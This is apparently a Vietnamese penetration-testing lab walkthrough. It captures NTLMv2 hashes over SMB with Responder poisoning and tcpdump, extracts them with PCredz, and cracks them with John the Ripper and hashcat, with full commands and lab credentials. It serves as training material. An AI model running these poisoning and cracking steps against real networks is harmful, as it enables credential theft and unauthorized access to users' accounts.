 Để trinh thám trao đổi NTLMv2 challenge/response qua SMB
 Để sử dụng John the Ripper và hashcat để xác định mật khẩu từ các
thông báo xác thực NTLMv2 được trinh thám

1. Launch Responder

Chạy câu lệnh: sudo /opt/responder/Responder.py -I eth0

Một số điều đáng chú ý:


Poisoning: Các kỹ thuật đầu độc được sử dụng bao gồm LLMNR, NBNS
(NBT-NS) và DNS/MDNS.
Servers: Nhắm mục tiêu SMB cho cuộc tấn công
Interface: Chỉ định giao diện eth0 với -I
Sau khi in các cảnh báo khác nhau, Responder sẽ kết thúc bằng cách in
"Listening for events...".

2. Switch to Windows machine

Đăng nhập máy Windows bằng tài khoản:


Username: clark
Password: Qwerty12
NewPassword: QWerty12

3. Opening Explorer window

Vào File Explorer, gõ \\WINDOWS01

Sau khi Windows xác thực một số lần, ta sẽ thấy hộp thoại này. Ta có thể
chỉ cần đóng nó lại; đã lấy được giá trị băm!
4. Review NTLMv2 challenge/response hash

Trong cửa sổ nơi Responder đang chạy, có thể thấy NTLMv2 challenge-
response đã được ghi lại. Chỉ rõ hàm băm dành cho Clark và được thu
thập từ máy Windows.

Khi nhìn thấy hàm băm, thoát khỏi Responder bằng cách nhấn CTRL+C.
Bạn sẽ thấy rằng Responder đã đầu độc phản hồi cho windows01.local
và windows01 cũng như hàm băm đã thu được. Thấy thông báo rằng
Responder đã nhận được một hàm băm khác từ cùng một người dùng
nhưng không hiển thị nó trên màn hình.

5. Use John The Ripper to crack the obtained hash

Điều quan trọng cần lưu ý là sự khác biệt giữa hàm băm NTLM và hàm
băm NetNTLMv2:
 Hàm băm NTLM (hoặc hàm băm NT) là hàm băm MD4 không có salt
của mật khẩu được Windows sử dụng để lưu trữ mật khẩu trong tệp
SAM (local user) hoặc trong tệp NTDS.dit (domain user). Loại băm
này có thể được sử dụng trong cuộc tấn công Pass-the-Hash!
 Hàm băm NetNTLMv2 là một challenge-response có thể được sử
dụng để khởi động một cuộc tấn công brute-force ngoại tuyến. Loại
băm này không thể được sử dụng trong cuộc tấn công Pass-the-Hash,
nhưng có khả năng được chuyển tiếp trong cuộc tấn công SMB
Relaying!
Theo mặc định, các giá trị băm được Responder ghi lại được lưu trong
tệp .txt trong /opt/responder/logs với tên giống với tên tệp bên dưới.
Do đó, tên tệp thực tế của bạn sẽ phụ thuộc vào địa chỉ IP của máy
Windows.
Chúng ta cần chỉ định loại băm mà John (NetNTLMv2) nhắm mục tiêu,
điều này chúng ta có thể thực hiện bằng cách sử dụng --format flag:
Thực hiện câu lệnh:
john --format=netntlmv2 /opt/responder/logs/SMB-NTLMv2-SSP-*

Để xem các giá trị băm đã bị bẻ khóa, chúng ta có thể sử dụng hàm John
show. Thực hiện câu lệnh:
john --show /opt/responder/logs/SMB-NTLMv2-SSP-*.txt

Lệnh này tìm kiếm các giá trị băm trong SMBv2-NTLMv2-SSP-* bên trong
tệp john.pot để có thể in mật khẩu được liên kết với người dùng.

6. Logout clark, login as sec560

Đăng nhập lại với tài khoản sec560.

7. Capturing hashes with a sniffer

Chuyển sang máy Linux và gọi smbclient để thử truy cập hệ thống
Windows tại 10.130.10.10 qua SMB.
Chỉ cần nhập tên người dùng và mật khẩu giả để chúng tôi không thể xác
thực thành công. Trong khi trao đổi đó diễn ra, chúng tôi sẽ chạy
tcpdump trên Linux để đánh hơi trao đổi đó, sau đó chúng tôi có thể bẻ
khóa.
Một số tình huống được nêu ở đây:
1. Attacker có vị trí trung gian và nắm bắt xác thực.
2. Attacker chạy một dịch vụ và đợi máy quét lỗ hổng kết nối với dịch vụ.
3. Attacker được phép yêu cầu người dùng cố gắn chia sẻ trên máy do kẻ
tấn công điều khiển.

Chạy tcpdump theo câu lệnh: sudo tcpdump -nv -w /tmp/winauth.pcap


port 445

-n bảo nó hiển thị các cổng số và địa chỉ IP thay vì tên cổng và tên máy
chủ trong khi v làm cho tcpdump in ra số lượng gói đã nhận được cho
đến nay. Tùy chọn -w khiến tcpdump đặt các gói của nó vào một tệp
chụp gói cho chúng tôi. Chúng tôi sẽ chỉ tập trung vào các gói được liên
kết với cổng 445.
Trong khi tcpdump đang chạy, trong một thiết bị đầu cuối khác, hãy gọi
smbclient để thực hiện nỗ lực xác thực với máy ảo Windows của bạn.
Để mô phỏng xác thực người dùng, chúng tôi sẽ xác thực với máy ảo
Windows của chúng tôi với tư cách là người dùng sử dụng mật khẩu
Qwerty12 .
Trong terminal Linux khác, gõ: smbclient //10.130.10.25/c$ -U clark
QWerty12

Khi chạy lệnh smbclient -> failed. Trong cửa sổ tcpdump, ta bắt đc 26 gói
tin.

8: Extract hashes from Pcap file

Sử dụng PCredz để trích xuất các hàm băm mật khẩu từ tệp pcap. Công
cụ này có thể trích xuất "Số thẻ tín dụng, NTLM(DCE-RPC, HTTP, SQL,
LDAP, v.v.), Kerberos (AS-REQ Pre-Auth etype 23), HTTP Basic, SNMP,
POP, SMTP, FTP, IMAP, v.v." từ tệp pcap hoặc từ live interface.
Công cụ PCredz đặc biệt ở vị trí và cách thức chạy. Chúng ta cần chạy nó
từ thư mục chứa tệp thực thi Pcredz.
Lưu ý: Tệp thực thi có tên là PCredz nhưng công cụ này được gọi là
PCredz (lưu ý trường hợp thay đổi của chữ "C"). Trong tương lai, chúng
tôi sẽ gọi nó bằng tên thực thi, Pcredz .
Bây giờ, hãy chạy PCredz và trích xuất hàm băm!

Thực hiện câu lệnh: sudo Pcredz -vf /tmp/winauth.pcap

Thấy hàm băm trên màn hình và lệnh trước đó tạo một tệp có tên
/opt/pcredz/CredentialDump-Session.log chứa tất cả đầu ra ở trên.
Ngoài ra, công cụ này còn tạo các tệp trong thư mục /opt/pcredz/logs/
được đặt tên theo loại hàm băm được tìm thấy.
Chúng ta hãy xem tệp chứa hàm băm trong thư mục nhật ký.

Thực hiện câu lệnh:


ls /opt/pcredz/logs
cat /opt/pcredz/logs/NTLMv2.txt
Chúng ta có hàm băm ở định dạng phù hợp để sau đó có thể sử dụng
john để bẻ khóa.
Thực hiện câu lệnh: john /opt/pcredz/logs/NTLMv2.txt

John đã tìm thấy mật khẩu trong danh sách mật khẩu của nó ở
/usr/local/share/john/password.lst .
Ngoài ra, chúng ta có thể sử dụng hashcat để bẻ khóa hàm băm
NETNTLMv2 này:
Lệnh: hashcat -w 3 -a 0 -m 5600 /opt/pcredz/logs/NTLMv2.txt
/opt/passwords/rockyou.txt
Xem mật khẩu bẻ khóa bằng câu lệnh:
hashcat -m 5600 --show --outfile-format 2
/opt/pcredz/logs/NTLMv2.txt

Các tùy chọn là:


 -m 5600 : Chế độ NetNTLMv2
 --show : Hiển thị kết quả
 --outfile-format 2 : Định dạng đầu ra
 hash.txt : Tệp chứa giá trị băm

You might also like